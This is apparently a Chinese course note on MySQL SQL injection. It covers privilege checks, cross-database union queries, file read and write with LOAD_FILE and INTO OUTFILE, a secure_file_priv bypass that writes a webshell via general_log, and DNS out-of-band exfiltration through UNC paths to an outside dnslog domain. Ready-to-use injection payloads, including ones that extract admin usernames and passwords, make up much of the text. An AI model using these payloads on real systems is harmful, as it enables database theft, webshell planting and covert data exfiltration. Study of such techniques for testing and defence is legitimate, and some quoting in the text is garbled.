0%

第57天-SQL注入&高权限判定&跨库查询&文件读写&DNS带外&SecurePriv开关绕过

演示案例:

➢ WEB攻防-SQL注入-高权限&跨库&文件读写

➢ WEB攻防-SQL注入-高权限&文件读写&带外

案例说明:

在应用中,数据库用户不同,可操作的数据库和文件读写权限不一,所有在注入过程中可以有更多的利用思路,如直接写入后门,获取数据库下洽谈网站的数据等。

root用户和普通用户权限差异(mysql)

1、文件读写操作权限

root权限下有文件读写权限,普通用户没有(默认情况,排除管理员授权的情况)

读写操作讲解(LOAD_FILE () 和 INTO OUTFILE

LOAD_FILE () 和 INTO OUTFILE,二者是 MySQL 用于文件读写,SQL 注入高频函数,都依赖 FILE 权限 + secure_file_priv

函数:LOAD_FILE (绝对路径)

作用:读取磁盘上文件内容,把文件内容当做字符串返回。

sql:

select load_file(‘/etc/passwd’);

selectload_file(‘C:\windows\system32\drivers\etc\hosts’);

INTO OUTFILE 它不是函数,是 select 的子句,不是独立函数!这点面试非常爱考。 作用:把 select 查询结果写入服务器磁盘文件。

sql:select ‘‘ into outfile ‘/tmp/shell.php’;

2、数据库名获取

同个数据库服务器下默认 root 可查看所有数据库,普通用户能否看见数据库由权限决定,并非只能看到自己管理的库(也就是说管理员让他看到什么就能看到什么)。

课外拓展

我们通过一个网站拿下数据库,数据库内有其他站点的数据库,能获取到对应的账户密码,但是不知道其他站点对应的url怎么办,有什么思路

答:web 配置表 很多网站数据库会保存网站域名、站点 URL、后台地址、base_url、siteurl 字段。搜索表字段:url、domain、site、host、weburl。CMS 一般存于系统配置表,比如config、setting、system_config。

secure_file_priv开关

show variables like”secure%”

通过my.ini(windows版本)/my.cnf(Linux版本)中设置

secure_file_priv是MySQL中的系统变量,用于限制文件的读取和写入

secure_file_priv = NULL 彻底禁用读写,任何路径都不能操作,root 也不行。

secure_file_priv = “”(空字符串) 没有目录限制,有权限 (FILE 权限) 就可以读写任意目录。

secure_file_priv = “/tmp”(指定路径)只允许在该指定目录下做文件读写,只能读写 /tmp 下面,不能读写别的目录。就是你说的这条。

绕过条件:存在可执行的SQL地方(后台SQL命令执行,Phpmyadmin应用等)

从后台的sql命令执行功能点:注入获取得到这个网站的后台账号密码

从phpmyadmin命令执行功能点:注入获取到数据库的用户名和密码

存储在mysql数据库下user(用户字段)(password或authentication_string是密码字段)

show variables like’general_log’;

setglobal general_log=on;

setglobal general_log_file=’D:/phpstudy_pro/WWW/php/55/bypass.php’;

select’

https://wiki.wgpsec.org/knowledge/web/mysql-write-shell.html参考

跨库注入:

查数据库名:

‘ union select SCHEMA_name,2,3 from information_schema.SCHEMATA#

查表名:

‘unionselect table_name,2,3from information_schema.tableswhere table_schema=’aicms’#

查列名:

‘ union select column_name,2,3 from information_schema.columns where table_name=’wolive_admin’#

查数据:

‘union select username,2,3from aicms.wolive_admin#

‘union select password,2,3 from aicms.wolive_admin#

文件操作:

关于网站路径获取方法:

1、遗留文件

比如phpinfo这类文件,里面会泄露

2、报错显示

网站的报错信息有可能显示网站路径

3、读中间件配置

通过读取操作来读中间件默认路径

4、爆破fuzz路径(纯运气)

‘union select LOAD_FILE(‘d:\1.txt’),2,3#

‘union select ‘xxxx’,2,3 into outfile ‘d:\3.txt’#

带外注入:

yakit自带dnslog

查数据名:

‘union select load_file(concat(‘\\‘,(select database()),’.yjjoxijrhw.yutu.eu.org\aa’)),2,3#

concat(‘\\‘,(select database()),’.yjjoxijrhw.yutu.eu.org\aa’)这里是构造了一个unc格式,Windows 专用网络路径格式,用来访问局域网共享文件夹,格式: \服务器主机名\共享名

load_file本意:读取一个文件内容。传入 UNC 网络共享路径,就是告诉 MySQL:去读取 Windows 网络共享上面的文件

执行全过程(Windows 系统)(带外注入核心):

1、MySQL 拿到字符串 \xxx.dnslog\aa,识别这是一条 UNC 网络共享路径。

2、MySQL 把这个路径交给 Windows 操作系统。

3、Windows 第一件事:对域名 xxx.dnslog 做 DNS 解析(向公网 DNS 服务器发起请求)。

重点:不管这个共享到底存不存在,域名解析这一步一定会执行。

4、Windows 尝试连接这个网络共享,肯定访问失败。

5、load_file 读取失败,函数返回NULL给 SQL。

核心:虽然读文件失败,但是第 3 步 DNS 请求已经发出,放在子域名里面的数据,已经发送到 DNS‑Log 服务器,实现不带回显的数据外带。

查表名1:

‘ union select load_file(concat(“\\“,(select table_name from information_schema.tables where table_schema=’news_management’ limit 0,1 ),”.yjjoxijrhw.yutu.eu.org\xxx.txt”)),2,3#

查表名2:

‘union select load_file(concat(“\\“,(select table_name from information_schema.tableswhere table_schema=’news_management’limit0,2),”.yjjoxijrhw.yutu.eu.org\xxx.txt”)),2,3#

查列名:……同理